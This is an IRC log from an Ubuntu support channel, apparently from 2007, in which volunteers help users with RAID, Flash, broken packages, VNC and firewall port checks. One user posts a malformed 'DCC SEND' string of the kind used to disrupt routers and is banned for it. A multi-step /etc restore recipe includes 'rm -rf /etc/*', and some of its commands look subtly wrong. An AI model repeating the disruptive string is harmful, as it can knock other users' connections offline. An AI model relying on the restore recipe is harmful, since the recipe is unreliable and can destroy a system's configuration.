[07:04] <ubotu> Sorry, I don't know anything about kvm - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[07:05] <ardchoille> reydelsillon: You on gnome?
[07:05] <drewzf> We have some data from data recovery
[07:05] <krille> i have a pretty large penis.
[07:05] <variant> !ubotu
[07:05] <ubotu> I am ubotu, all-knowing infobot. You can browse my brain at http://bots.ubuntulinux.nl - Usage info: http://wiki.ubuntu.com/UbuntuBots
[07:05] <larry_> _aLeSD: I actuallt have to go now and pick up my gf from the bus statino
[07:05] <variant> who is incharge of/wrote ubotu ?
[07:05] <progek> dc if you go to your home folder, press Ctrl+H to unhide
[07:05] <larry_> thanks a mil for yer help
[07:05] <progek> look around in .wine
[07:05] <reydelsillon> ardchoille: kubuntu
[07:05] <drewzf> a younger IT tried to restore our crontab, php4, and mysql configuration by extracting the rar
[07:05] <_aLeSD> larry_: are u italian ?
[07:05] <ardchoille> reydelsillon: kdesu kate /path/file
[07:05] <AlbertoP> hello
[07:05] <variant> drewzf: nice, /slap him ;)
[07:05] <drewzf> next thing you know we can't su
[07:05] <drewzf> or sudo
[07:05] <YetiChick> krille: thanks for sharing.
[07:05] <larry_> _aLeSD: no, I type too fast.... I'm irish
[07:05] <LjL> drewzf: just how fast is the internet connection you have available from that computer?
[07:05] <sadistic_> variant anu ideas from where i can get this things ?
[07:05] <drewzf> I already plan on /stabbing him
[07:06] <_aLeSD> I hope that Ubuntu 7.04 will be the Windows killer ... good luck
[07:06] <_aLeSD> bye
[07:06] <_aLeSD> bye larry
[07:06] <reydelsillon> ardchoille: thanks your a good man/women/other :P
[07:06] <larry_> bye
[07:06] <variant> LjL: would a dpkg-reconfigure on all his installed applications not help?
[07:06] <mrtimdog> variant: nothing there on kvm
[07:06] <dc> progek: got it thanks a lot!
[07:06] <ardchoille> reydelsillon: You're welcome :)
[07:06] <LjL> variant: i doubt it covers every file in /etc (or even a large percentage)...?
[07:06] <progek> dc np
[07:07] <dc> progek: now wine opens but then immediately shuts down
[07:07] <octoberdan> Grrr... while building a program, /usr/bin/ld: cannot find -lopenal. Even after I tried "sudo apt-get install libopenal0a" Google hasn't been much help...
[07:07] <progek> dc what are you trying to open?
[07:07] <kosnick> Can i have an address book for every application? I mean thundirvird , ekiga and so on . After installing Ekiga it read some address book (i dont know which one). Does anyone know where is it?
[07:07] <variant> LjL: don't know
[07:07] <dc> progek: itunes
[07:07] <octoberdan> Any thoughts on what I need?
[07:07] <octoberdan> I'm guessing it has to do with OpenAL
[07:08] <LjL> variant: i was thinking more "download every package that's installed, ask dpkg-deb to extract them all to some temp directory, then take /etc and use it"
[07:08] <progek> dc, hmm.. never used itunes with wine so I cannot help you there. I manage my ipod with other tools
[07:08] <variant> LjL: it depends reallly on how customised the system is.. if it is fairly unmodified then pasting a new /etc/ over and running dpkg-reconfigure -a might help.. at least leave him in a better state?
[07:08] <LjL> drewzf: see above. i'm putting together the commands to do this. but you need a fast connection in any case
[07:08] <dc> progek: i dont even own an ipod, i want to be able to access the shared music from across campus
[07:08] <tommytom> hi. i have a bit of a problem.... i have VIA SATA/RAID and xubuntu can see my 2 SATA disks but only seperately. in windows it was setup as RAID0
[07:08] <Glos_WiFi> is anyone on here running Ubuntu on a Gateway Laptop?
[07:09] <octoberdan> Ahh! libopenal-dev
[07:09] <LjL> variant: well you need to have a new /etc to paste for starters, though. remember he overwrote /etc by using the one from another system, which means... brrr =)
[07:09] <progek> dc, I think the forums have a lot of topics related to wine+itunes. You can most likely find the answer there. I've never used iTunes on wine.
[07:09] <reydelsillon> argh.....
[07:09] <variant> LjL: true :) so he has to either copy from a fresh install or download/install a new anyway. I will leave it up to u:)
[07:10] <progek> dc almost everything has been asked 30 times on the forum so it wont be hard to find something relevant
[07:10] <drewzf> this sucks :|
[07:10] <progek> dc good luck with it
[07:10] <reydelsillon> anyone...  Im trying to install another dictionary to my openoffice. when i hit the ooc button the wizard crashes and i cant get it to update the dictionary.  was trying to follow a guide but it did not work
[07:11] <LjL> variant, drewzf: i'd start with  dpkg --get-selections | awk ' { print $1 } ' | xargs -n 20 sudo apt-get --reinstall --download-only  , which should re-download every installed package and put them in /var/cache/apt/archives. then we can start to restore the /etc directory by extracting each package
[07:11] <YetiChick> tommytom: I don't believe there is RAID support for the VIA chipset in Linux yet.
[07:11] <variant> nice
[07:11] <LjL> variant, drewzf: after that, yes - a dpkg-reconfigure -a will still be needed anyway, to fix those files that aren't phisically present in the archive
[07:12] <variant> LjL: i would have just said to backup and reinstall :) your way, if it works, is much nicer
[07:12] <tommytom> seriously?? wtf....
[07:12] <YetiChick> tommytom: although dmraid might work.
[07:12] <tommytom> yeah im completely nub.... i installed it but i dunno how to use it
[07:13] <piglit> hello there i am trying to install ubuntu from a usb stick on a hd i did try this: https://help.ubuntu.com/6.10/ubuntu/installation-guide/i386/boot-usb-files.html#usb-copy-flexible but when i boot from the stick the only thing that happens is that is see: Verifying DMI Pool Data ............. and then there is the text     MBR    can annyone please help me out ? i try this method beacouse there is no cdrom/dvd drive in the system
[07:13] <variant> tommytom: thats not hardware raid with via
[07:13] <variant> tommytom: it's just software raid
[07:13] <LjL> drewzf, variant: then after you have the packages, a  mkdir /tmp/temproot , then  cd /var/cache/apt/archives , then  dpkg-deb --extract *.deb /tmp/temproot/ , then  sudo rm -rf /etc/* , then  sudo cp -a /tmp/temproot/etc/* /etc/* .   variant, double-check if this makes sense to you too please
[07:13] <reydelsillon> anyone...  Im trying to install another dictionary to my openoffice. when i hit the ooc button the wizard crashes and i cant get it to update the dictionary.  was trying to follow a guide but it did not work. any ideas how i can maualy instal the dictionaries to openoffice?
[07:13] <variant> !dmraid | tommytom
[07:13] <ubotu> Sorry, I don't know anything about dmraid - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[07:13] <YetiChick> tommytom: variant beat me to it...
[07:13] <Tarsinion1> can somebody do me a quick favor and check wheater port 1194 on 212.51.25.1 is open ???
[07:14] <variant> tommytom: http://linux-ata.org/faq-sata-raid.html#via
[07:14] <variant> tommytom: so, yes, it is most certainly supported
[07:14] <LjL> Tarsinion1: no it's not (not on TCP anyway)
[07:14] <ha978> i assume very little is changing in the builds now?
[07:14] <amee2k> hi everyone
[07:15] <Pici> ha978: correct.
[07:15] <amee2k> what can i use to read .lit ebooks?
[07:15] <Tarsinion1> LjL: thanks !
[07:15] <tommytom> variant, yetichick: thanks for info. ill read up now. ill be back here most likely lol
[07:15] <variant> LjL: looks good to me
[07:16] <LjL> drewzf: see above
[07:16] <Dan_MB> So what does everyone think of the story about DCC SEND "KEYLOGGER" 0 0 0
[07:16] <Dan_MB> ?
[07:16] <zhivazhiva> well, ill change the perspective of the question. Is there any chipset with known problems on ubuntu which i should avoid ?
[07:17] <Hobbsee> nalioth: kline required
[07:17] <kane77> how can I have vnc, but on fullscreen ?
[07:17] <drewzf> thanks very much LjL: I'll give that a try.
[07:17] <variant> did dan_mb just get banned or what? i am ignoring al info messages in this channel to make it more readable..
[07:17] <drewzf> ehhh
[07:17] <Pici> variant: Yes.
[07:17] <variant> Pici: ok
[07:17] <drewzf> don't mess with Ubuntu!
[07:17] <drewzf> Damn bastards!
[07:17] <LjL> variant: he was
[07:17] <variant> drewzf: mind thhe language a bit please.. family chan
[07:18] <variant> LjL: good good :)
[07:18] <Tarsinion1> LjL: would you mind to check if ssh is now open ;-) ?
[07:18] <LjL> Tarsinion1: not on 1194
[07:18] <Tarsinion1> port 22 ..
[07:18] <Tarsinion1> :-)
[07:19] <variant> Tarsinion1: check for your self?
[07:19] <Tarsinion1> variant: cant as im on the other side of the firwall :(
[07:19] <LjL> Tarsinion1: neither
[07:19] <Tarsinion1> kk
[07:19] <Chupacabras22> hi
[07:19] <Tarsinion1> thanks a lot
[07:19] <variant> Tarsinion1: with nmap it doesn't matter
[07:19] <tommytom> variant: that link didnt help me much :/
[07:19] <Tarsinion1> oh okay
[07:19] <NobleWolf> Hi Guys
[07:20] <variant> tommytom: it explained at least that there is no support issue with that "raid" controller and gnu/linux
[07:20] <tommytom> hi
[07:20] <NobleWolf> Need some help with screen drivers
[07:20] <YetiChick> zhivazhiva, Not specifically a motherboard chipset, but I have an SMC gigabit nic that will not work in Ubuntu using the ns82830 module - but works in Gentoo, Arch and FC5.
[07:20] <NobleWolf> wide screen EDGY
[07:20] <zhivazhiva> Yetichick -> Thanks im writing it as a "dont consider"
[07:20] <variant> tommytom: http://www.murty.net/ataraid/
[07:20] <tommytom> variant: yes... but how do i turn on the software raid? thats very confusing
[07:20] <kane77> how can I get the vncviewer (tightvnc) onto fullscreen ?
[07:20] <variant> tommytom: ^
[07:21] <abb0tt-1> can someone help me out with abiword?
[07:21] <Glos_WiFi> !audio
[07:21] <ubotu> If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer). If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/index.php?page=DmixPlugin - For playing audio files, see !Players and !MP3
[07:21] <variant> abb0tt-1: whats the problem?
[07:21] <abb0tt-1> I can't get the grammar checking to work on it
[07:21] <dc> does anyone know how to connect to an itunes shared music on another computer on my network?
[07:21] <YetiChick> tommytom: Other than that, I've had very good luck with Ubuntu's hardware support.
[07:21] <variant> abb0tt-1: just ask the question, not if anyone can help.. (how should we know unless we know what the problem is??)
[07:21] <tommytom> variant: its not IDE its SATA. does that still apply?
[07:21] <YetiChick> zhivazhiva,: Other than that, I've had very good luck with Ubuntu's hardware support.
[07:21] <soundray> kane77: man vncviewer mentions the -fullscreen option
[07:22] <tomy984> hello
[07:22] <variant> tommytom: not sure to be honest
[07:22] <variant> tommytom: let me have a look
[07:22] <aerials> dc: both banshee and rhythmbox support connecting to itunes shares
[07:23] <abb0tt-1> grammar checking is supposed to work without an extra install in abiword, but it didnt work, so i installed grammar-link and still i have had no luck, i type in obviously grammatically incorrect sentences but i get no green lines
[07:23] <variant> !raid | tommytom
[07:23] <ubotu> tommytom: Tips and tricks for RAID and LVM can be found on https://help.ubuntu.com/community/RaidConfigurationHowto and http://www.tldp.org/HOWTO/LVM-HOWTO
[07:23] <variant> tommytom: there you go :)
[07:23] <FRuMMaGe> is there someone who can help me with a big dependency problem?
[07:23] <dc> aerials: will you tell me the process with rhythembox?
[07:23] <YetiChick> zhivazhiva: And, if it's any help, Ubuntu has been rock-solid on an Abit IC7 motherboard, using both SATA and IDE drives.
[07:23] <dc> aerials: do i need access to those computers?
[07:23] <Glos_WiFi> Please can someone help me, im having a problem getting the intergrated sound on my Gateway to work with Edgy 6.10, ive been trying the last two days and have followed the !audio links and many threads on the forums aswell. please can someone help
[07:23] <tommytom> variant: kk thanks
[07:23] <soundray> FRuMMaGe: you've got to say what the problem is
[07:24] <FRuMMaGe> can someone talk to me 1 to 1 about fixing a massive problem?
[07:24] <soundray> FRuMMaGe: describe the problem to the channel
[07:24] <FRuMMaGe> ok
[07:24] <andy_> whenever I enable the "Enable GL Desktop" in the Gnome Compiz Preferences dialog, my close/maximize/minimize buttons disappear. What could that be?
[07:24] <aerials> dc: they just need to share their music, on banshee the shares on my lan just become visible to
[07:24] <FRuMMaGe> i installed the deb file "python2.4 minimal"
[07:24] <FRuMMaGe> now python is broken
[07:24] <bthornton> Where are the configs for the default X-sessions that GDM lists?  (i.e. when you click "Session" in GDM and it lists GNOME, KDE, XFce 4, etc.)
[07:24] <soundray> FRuMMaGe: all on one line please
[07:24] <aerials> dc: me, i don't use rhythmbox, sorry
[07:24] <netmon1> Anyone know what its called when I type gaim in Firefox and it finds the actual URL http://www.pidgin.im/
[07:24] <bthornton> They're a bunch of *.desktop files but I'm not sure where they are
[07:24] <FRuMMaGe> when i click fix, it says it will remove over 240 packages
[07:25] <abb0tt-1> sorry i got disconnected
[07:25] <FRuMMaGe> including gnome and other important stuff
[07:25] <abb0tt-1> did i miss anyone's answer
[07:25] <abb0tt-1> ?
[07:25] <PriceChild> FRuMMaGe, where did you install that other deb file from?
[07:25] <soundray> FRuMMaGe: sounds like you are on feisty
[07:25] <FRuMMaGe> i had to download them and copy from a usb disk
[07:25] <FRuMMaGe> i have no internet in ubuntu
[07:25] <variant> abb0tt-1: sorry, i don't know anything about that particular issue.. have you tried googleing for it?
[07:25] <what_if> my usb harddrives / pendrives have stopped automounting to the desktop, how do I troubleshoot this ??
[07:26] <abb0tt-1> yeah, not much help, abiword also doesnt have very good support :(
[07:26] <zhivazhiva> Yetichick -> Checking if local vendor have that model
[07:26] <FRuMMaGe> anyone?
[07:27] <soundray> FRuMMaGe: learn how to use apt properly when you're offline, e.g. from http://www.batmat.net/apt-offline/
[07:28] <bthornton> "/usr/share/xsessions"
[07:28] <FRuMMaGe> will that fix python without removing others?
[07:28] <goedson> feisty-desktop fails to boot under qemu with following message: /bin/sh: can't access tty; job control turnedoff
[07:28] <Glos_WiFi> !alsa
[07:28] <goedson> Any hint?
[07:28] <YetiChick> zhivazhiva: It's an older motherboard.  If you do find (and use) one, consider replacing the chipset cooling fan with a passive solution.  I've gone through four fans in three years, and this is in a smoke-free, clean environment.\
[07:28] <Glos_WiFi> !ALSA
[07:28] <soundray> FRuMMaGe: it avoids unexpected problems like yours
[07:28] <FRuMMaGe> how can i solve my problem?
[07:28] <ubotu> If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer). If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/index.php?page=DmixPlugin - For playing audio files, see !Players and !MP3
[07:29] <Tarsinion1> variant: regardless what kind of rule i setup, with nmap i always see the same open ports .... is there any option which i have to use with nmap ?
[07:29] <dc> aerials: where in banshee
[07:29] <soundray> FRuMMaGe: what version of ubuntu are you running?
[07:29] <FRuMMaGe> soundray: dapper
[07:29] <Arpegius> anyone know a fast way i can find out how many times file xyz.txt appears recursively within /directory
[07:29] <Otacon22> is the video card nvidia geforce go 6100 compatibile with linux?
[07:29] <Tuple> find ./ -name filename
[07:29] <zhivazhiva> Yetichick -> According to your model recomendation and forum posts, NVIDIA GeForce 6150 + nForce 430 chipset is the most recommended solution, can be asus, abit, msi, etc
[07:30] <soundray> FRuMMaGe: which version of python-minimal have you downloaded?
[07:30] <FRuMMaGe> soundray: 2.4
[07:30] <dc> does anyone know how to connect to an itunes shared music on another computer on my network?
[07:30] <what_if> Tarsinion1: whats the NMAP question ??
[07:30] <FRuMMaGe> but the broken one is python
[07:30] <hajhouse> does anyone know how to get a split screen with screen and a shell running in both panes? i know about C-A S to split the screen into two regions, but i can't figure out how to start a shell in the new region (it starts empty)
[07:30] <Tarsinion1> what_if i want to scan my firewall ... on the external interface
[07:30] <soundray> FRuMMaGe: 2.4.2-0ubuntu3 or 2.4.3-11ubuntu3 ?
[07:30] <variant> Tarsinion1: are you scanning the local ip or the externel ip? also, what options are you currently using?
[07:30] <andy__> can I somehow reset my whole X and window manager configuration?
[07:31] <what_if> Tarsinion1: just a basic' nmap [IP]   '
[07:31] <Tarsinion1> variant: no options at all ... and yes i used the external ip adress :-)
[07:31] <dc> does anyone know how to connect to an itunes shared music on another computer on my network?
[07:31] <FRuMMaGe> soundray: 2.4.2-0ubuntu3
[07:31] <soundray> FRuMMaGe: have you tried removing that package?
[07:31] <variant> Tarsinion1: the "standard" scan, which enables the most common options is "nmap -A -vv IPADDRESS"
[07:31] <intelikey> hello.  i'm using 6.06  and firefox has a setting to "force popup windows to loas in a tab"   but it doesn't seem to work,  have i missied something or does it just not work?
[07:31] <what_if> Tarsinion1: are you seeing ports that should not be open ??
[07:31] <hajhouse> andy__: yes, you can do that by purging the packages (apt-get remove --purge) and then reinstalling them
[07:31] <FRuMMaGe> soundray: the package that is broken is "python"
[07:31] <Tarsinion1> jepp
[07:31] <aa^way> hey how to look flash videos ? on mozilla
[07:31] <intelikey> loas/load
[07:31] <andy__> hajhouse: ok.
[07:32] <FRuMMaGe> soundray: and it wants to remove over 240 other files
[07:32] <soundray> FRuMMaGe: I know. Answer my question please
[07:32] <Tarsinion1> what_if can you might scan 212.51.25.1 ?
[07:32] <FRuMMaGe> soundray: how do i remove it?
[07:32] <Tarsinion1> variant: okay will have a look with that option :-)
[07:32] <soundray> FRuMMaGe: 'sudo apt-get --purge remove python-minimal'
[07:32] <hajhouse> aa^way: install the package flashplugin-nonfree
[07:32] <YetiChick> zhivazhiva: Sounds like a winning combo, although I've never used an nforce chipset in Linux.  Can't personally vouch for it.  I hope you find something that works well for you.
[07:32] <variant> Tarsinion1: if you are usining NAT then you will first go to the outside network and then back, if each computer has it's own external ip then it will scan as if it was on a local network
[07:32] <FRuMMaGe> soundray: im offline in ubuntu
[07:33] <aa^way> thanks
[07:33] <soundray> FRuMMaGe: You are repeating yourself.
[07:33] <what_if> Tarsinion1: running... :) do you use IPcop or Smoothwall ?
[07:33] <bthornton> How do I check what DPI level my display is running at?
[07:33] <aa^way> hey hajhouse
[07:33] <aa^way> flashplugin-nonfree is already the newest version.
[07:33] <thekidrio> grab a ruler and measure the dots in an inch
[07:33] <Tarsinion1> what_if i'm using iptables with fwbuilder ;-D
[07:33] <aa^way> but i still cant see youtube and video.google videos, whats wrong?
[07:33] <what_if> Tarsinion1: I only see port 80 open
[07:33] <FRuMMaGe> soundray: will that fix it?
[07:33] <soundray> bthornton: gimp has a calibration tool
[07:33] <piglit> hello there i am trying to install ubuntu from a usb stick on a hd i did try this: https://help.ubuntu.com/6.10/ubuntu/installation-guide/i386/boot-usb-files.html#usb-copy-flexible but when i boot from the stick the only thing that happens is that is see: Verifying DMI Pool Data ............. and then there is the text     MBR    can annyone please help me out ? i try this method beacouse there is no cdrom/dvd drive in the system
[07:33] <variant> aa^way: did you restart fx?
[07:33] <soundray> FRuMMaGe: it may.
[07:33] <bthornton> <gets ruler>
[07:34] <bthornton> Atoms!!!  One, two, three... six of them!!!
[07:34] <aa^way> variant yes i installed it like 3 days ago
[07:34] <FRuMMaGe> soundray: thanks!  Ill restart and try
[07:34] <Chupacabras22> hi. is there any NetLimiter2 alternative for linux? i mean upload/download shaping and interactive alerting when any application/process is trying to connect somewhere.
[07:34] <variant> aa^way: strange..
[07:34] <aa^way> about:plugins in fx shows only JAVA
[07:35] <variant> aa^way: sorry, don't think i can realy help with that. perhaps somone else can
[07:35] <what_if> Tarsinion1: yeah, I scanned again 1-1000. only 80 is open
[07:35] <aa^way> okay
[07:35] <Tarsinion1> what_if .. what the hell is running on 80 ;-) there is no webserver ;-D
[07:35] <zhivazhiva> Yetichick -> Yup, ill try. If not, will report it in the forums. Anyway, if it fails have 2 unopened Intel-478 mobos, model that i've used for 3 years by now, but really want to buff up my ubuntu boxes
[07:35] <variant> Improved: I have alithuanian friend if thats any help :)
[07:35] <hajhouse> aa^way: try reinstalling the package; the package itself is just an installer script; it downloads the plugin from adobe because it it non-free and nondistributable
[07:35] <tommytom> variant: https://help.ubuntu.com/community/RaidConfigurationHowto this is more for just accessing existing data. how do i install from a live cd. sorry, im reading all this stuff but its not making any sense to me. i ahve empty space on the raid0 setup. 2 partions and 20gb of empty space. it sees the drives but not as raid0 (sees them as 2 seperate drives, unpartitioned)
[07:35] <Improved> If he's online right now ? Could i speak with him ?
[07:35] <Improved> :p
[07:36] <Improved> If it's not - it won't help me :)
[07:36] <variant> Improved: nope, sorry
[07:36] <Improved> Damn :/
[07:36] <variant> Improved: your english seems good enough..
[07:36] <tommytom> Variant: i just need to access the raid to get to the unpartitioned space.
[07:36] <variant> Improved: for support in here
[07:36] <aa^way> hajhouse how you do it?
[07:36] <aa^way> apt get remove flash-nonfree ?
[07:36] <aa^way> flasplugin-nonfree*
[07:36] <what_if> Tarsinion1: sorry, we run squid here (I forgot) and port 80 is on everone to me
[07:37] <Improved> variant, thanks ;) - but I'm not as good as you might think :p
[07:37] <surviver> anyone have some expirience with installing steam onto a 64 bit linux system???
[07:37] <Tarsinion1> what_if ;-) okay that explains :-)
[07:37] <variant> Tarsinion1: you need the dmraid package
[07:37] <hajhouse> aa^way: apt-get remove --purge flashplugin-nonfree
[07:37] <aa^way> okay
[07:37] <aa^way> what --purge does anyway?
[07:37] <what_if> Tarsinion1: I had to try a few random IP's on port 80 to find that out
[07:37] <Maurox> aa^way: remove extra config files
[07:37] <Improved> Em, What's the difference between ubuntu and debian distribution :p ?
[07:37] <aa^way> oh ok
[07:38] <what_if> what program in ubuntu automounts a USB HD to the desktop
[07:38] <variant> tommytom: i am probably not the best person to ask, am going out now anyway. good luck. seeya
[07:38] <variant> what_if: gnome-volume-manager
[07:38] <soundray> !debian > Improved, please read ubotu's private message
[07:38] <Tarsinion1> will restart network on the fw ...  i messed up the firewall rulez now if i'm not back ;-)
[07:38] <GNu_Joe>  I installed tightvncserver and can get a remote vnc desktop up in Fiesty but when I type in at a command prompt it's jiberish
[07:38] <GNu_Joe> how would I find an answer since my searches are turning up no hits...
[07:38] <surviver> !steam
[07:38] <ubotu> Steam can be found at: http://www.steampowered.com/
[07:39] <Tarsinion1> mhm network restartet
[07:39] <Improved> soundray thank you.
[07:39] <offspring> How do I force Ununtu to install. I've got Ubuntu Server version installed but I hate the command line. I want to install the gui. How do I either A) make the desktop version install, or what do I have to enter in the server version to install the gui?
[07:39] <aa^way> removed it
[07:39] <tommytom> !dmraid via
[07:39] <ubotu> Sorry, I don't know anything about dmraid via - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[07:39] <soundray> offspring: 'sudo apt-get install ubuntu-desktop'
[07:39] <what_if> offspring: apt-get install [windowmanager-of-choice] 
[07:40] <offspring> thanks,
[07:40] <hajhouse> !screen
[07:40] <ubotu> screen is a terminal multiplexer. See http://www.kuro5hin.org/story/2004/3/9/16838/14935 and http://en.wikipedia.org/wiki/GNU_Screen
[07:40] <offspring> I'll try it.
[07:40] <mrigns> offspring: try apt-get install ubuntu-desktop
[07:40] <soundray> offspring: be prepared for a lengthy download
[07:41] <surviver> anyone has expiernce with isntalling steam onto 64bit
[07:41] <offspring> Ok.
[07:41] <offspring> I've got time
[07:41] <aa^way> surviver
[07:41] <surviver> jah
[07:41] <aa^way> i dunno, use Wined if you meant that
[07:41] <soundray> offspring: if you installed from the alternate CD, you can use that as a package source and save download time.
[07:42] <surviver> yes that s an emulator for .exe's but i just want to try launch it on linux itself
[07:42] <aa^way> you cant
[07:42] <surviver> aa^way, but ill try out if i can fix it that way :)
[07:42] <what_if> feisty releases tomorrow !! :):)
[07:42] <aa^way> are you estonian
[07:42] <Epic720> where could I find feisty tomorrow?
[07:42] <aswp> interest
[07:42] <JacktheHomeless> Anyone wanna help me with getting Ktorrent 2.1.3 working in ubuntu edgy?
[07:43] <soundray> !feisty
[07:43] <ubotu> The next version of Ubuntu (7.04; codenamed "Feisty Fawn") should be released in April 2007. Beta is out! http://www.ubuntu.com/news/Ubuntu704Beta Schedule: !schedule - Specifications (goals): https://features.launchpad.net/distros/ubuntu/feisty - Help and support in #ubuntu+1 (NOT #ubuntu)
[07:43] <Epic720> Is it going to be in every open source library?
[07:43] <Maurox> Epic720 in the official page
[07:43] <GNu_Joe> !tightvncserver
[07:43] <ubotu> Sorry, I don't know anything about tightvncserver - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[07:43] <soundray> NOTE: feisty - #ubuntu+1
[07:43] <Pici> Until tomorrow ;)
[07:44] <what_if> bittorrent... mmmm
[07:44] <Skiguy> hey all - anyone know if there's a way to disable sending the desktop background in a "remote session" (VNC) - I know it's doable in normal windows VNC
[07:45] <adam__> fuck
[07:45] <JacktheHomeless> I'm having problems installing Ktorrent 2.1.3, anyone wanna help me get it working?
[07:45] <LjL> !language | adam__
[07:45] <ubotu> adam__: Please watch your language and keep this channel family friendly.
[07:45] <adam__> lol
[07:46] <adam__> this system is wird ;/
[07:46] <RadiantFire> has anyone here ever encountered grub problems when dual booting windows, as in, sometimes rebooting from windows corrupts grub?
[07:47] <zhivazhiva> grub? isn it the weak bor of GB ?
[07:47] <aa^way> does anyone have idea how i could see youtube/video.google.com videos
[07:47] <spikeb> install the flash plugin
[07:47] <mc44> !flash | aa^way
[07:47] <ubotu> aa^way: For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[07:47] <ubotu> Flash 9 (Final release) is now available for dapper-backports and edgy-backports. See !backports and !flash
[07:47] <soundray> aa^way: do you have a file /usr/lib/firefox/plugins/libflashplayer.so ?
[07:47] <aa^way> wait let me see
[07:48] <offspring> installing the desktop now. You are right. It will take a while, I saw screens of items it wanted to install..
[07:48] <he1ix> hey all... is there any information about the [###.###]  timestamps that prefix all kernel messages displayed on the console?
[07:48] <dieter__> yeah you use 64 bit like me (flash guy)
[07:48] <kneeki> Hmm, anyone know an easy way to share files from my Windows machine to my Ubuntu & vice versa?
[07:48] <he1ix> i haven't been able to find sth. informational about this via google. is there any way to disable them via kernel cmdline?
[07:48] <aa^way> soundray looks like no
[07:48] <verb3k> guys ...will there be Feisty Fawn DVDs at launch ? because I have a computer which pnly boots from DVDs ....
[07:48] <soundray> helix: it's an uptime-related timestamp. You can filter it away with sed or awk.
[07:48] <verb3k> only*
[07:48] <aa^way> i did sudo apt-get install flashplugin-nonfree
[07:49] <mc44> verb3k: yes
[07:49] <PriceChild> verb3k, yes and fix your machine
[07:49] <aa^way> but still didnt work on mozilla
[07:49] <dieter__> does any of you has spdif working for audigy 4 ?
[07:49] <dieter__> i can't get it to work
[07:49] <soundray> aa^way: okay, do you have a file /var/cache/flashplugin-nonfree/libflashplayer.so ?
[07:49] <tommytom> variant: if you are still there https://help.ubuntu.com/community/FakeRaidHowto this thing is spot on. learning alot. finally found a post from google "dmraid raid" that linked to that guide
[07:50] <he1ix> soundray: the uptime-relation is obvious. but i'm looking for a way to deactivate it
[07:50] <soundray> helix: why?
[07:50] <tommytom> googled "dmraid raid0" *
[07:50] <verb3k> OK ...where will I be able to find those DVDs? because the download page directs you to CD ISOs only....one more Q please ...what is the difference between CD and DVD editions? Thanks for your time
[07:51] <aa^way> soundray nop
[07:51] <soundray> he1ix: another suggestion: "dmesg | cut -d " " -f 2-"
[07:51] <aa^way> i really did apt-get install flashplugin-nonfree without any error :P reinstalled and installed again
[07:51] <he1ix> soundray: it eats up space on my screen...
[07:51] <dieter__> nobody can help me with my audigy 4 spdif ?
[07:52] <he1ix> soundray: i'm *not* looking for a method to filter them out on a running system. i don't want to have them at boot-time...
[07:52] <soundray> aa^way: then the package installation has failed for some reason. Could be a server side problem at Adobe.
[07:52] <aa^way> but soundray
[07:52] <aa^way> my friend told that linux doesnt support flash
[07:52] <soundray> he1ix: boot with "quiet" then
[07:52] <aa^way> unless you compile kernel or something like that
[07:52] <he1ix> soundray: is this a ubuntu-applied kernel-patch?
[07:52] <Shaffox> aa^way, that's not true
[07:52] <soundray> aa^way: that's not true
[07:52] <Pici> aa^way: The 64bit version has issues with flash, but 32bit works fine.
[07:52] <Shaffox> lol :)
[07:53] <tomy981> plz help
[07:53] <aa^way> ooh
[07:53] <aa^way> im 32bit im sure
[07:53] <saik0> I'm sure it's been asked a million times but is there still no Feisty RC?
[07:53] <Shaffox> tomy981, what's up ?
[07:53] <tomy981> installing hplip printer driver
[07:53] <soundray> saik0: join #ubuntu+1 and read the topic
[07:53] <he1ix> soundray: i want to see the messages, not the splash-screen. and the timestamp-stuff is annoying (and useless for me)
[07:53] <saik0> soundray thanks
[07:53] <dieter__> ok sry to ask it so many times but i realy want spdif ac3 passtrough to work
[07:54] <PriceChild> saik0, release tomorrow looks good... feisty in #ubuntu+1
[07:54] <soundray> he1ix: I don't think there is a kernel option. You can always modify the kernel source, of course
[07:54] <PriceChild> verb3k, releases.ubuntu.com
[07:54] <PriceChild> verb3k, the dvd edition includes the entire main and restricted repositories
[07:55] <he1ix> soundray: vanilla doesn't display them, but ubuntu does. so they won't come out from nirvana...
[07:55] <tomy981> after running             sh hplip-1.7.3.run
[07:55] <cellojoe> does any one know how to view the multiple pages in a .tif?'
[07:55] <verb3k> PriceChild: I see ...Thank you very much ...I really appreciate your help :)
[07:55] <tomy981> reports : Extraction failed. Terminated
[07:55] <PriceChild> verb3k, no problem
[07:56] <soundray> he1ix: how is that sentence logically connected to what I said?
[07:56] <amendt> need a program to phone gtalk user
[07:57] <aa^way> wait how you did remove extra config files also?
[07:57] <aa^way> apt-get remove --pure wasnt it?
[07:57] <baggito> hi. how do i blank a disk with the default ubuntu setup?
[07:57] <soundray> aa^way: --purge
[07:57] <Pici> aa^way: purge
[07:57] <baggito> blank a CD/DVD disk thatis
[07:57] <he1ix> soundray: i asked if this is a ubuntu patch, since this makes searching the sources easier
[07:57] <aa^way> ah yeah
[07:57] <Angeluz> Greetings.
[07:57] <he1ix> soundray: and the standard-sources from kernel.org dont have the timestamps
[07:58] <Angeluz> I have a little problem here.
[07:58] <sorcerer> anyone here uses pidgin instant messenger ?
[07:58] <tomy981> anyway ..is there a way for automatic duplex printing on hp-1012 laserJet
[07:58] <aa^way> soundray hey can you say again some files to see if i have flash installed
[07:58] <Angeluz> I'm using the xorg-radeon drivers on Feisty, with 2 screens via MergedFB.
[07:58] <majd> !smb
[07:58] <ubotu> Sorry, I don't know anything about smb - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[07:58] <majd> !samba
[07:58] <ubotu> samba is is the way to cooperate with Windows environments. Links with more info: https://wiki.ubuntu.com/MountWindowsSharesPermanently and http://help.ubuntu.com/ubuntu/serverguide/C/windows-networking.html - Samba can be administered via the web with SWAT
[07:58] <Angeluz> Is there any way to play quake3/ioquake3 on one screen only?
[07:59] <spikeb> haha
[07:59] <spikeb> that would be something, trying to play two screens worth of quake
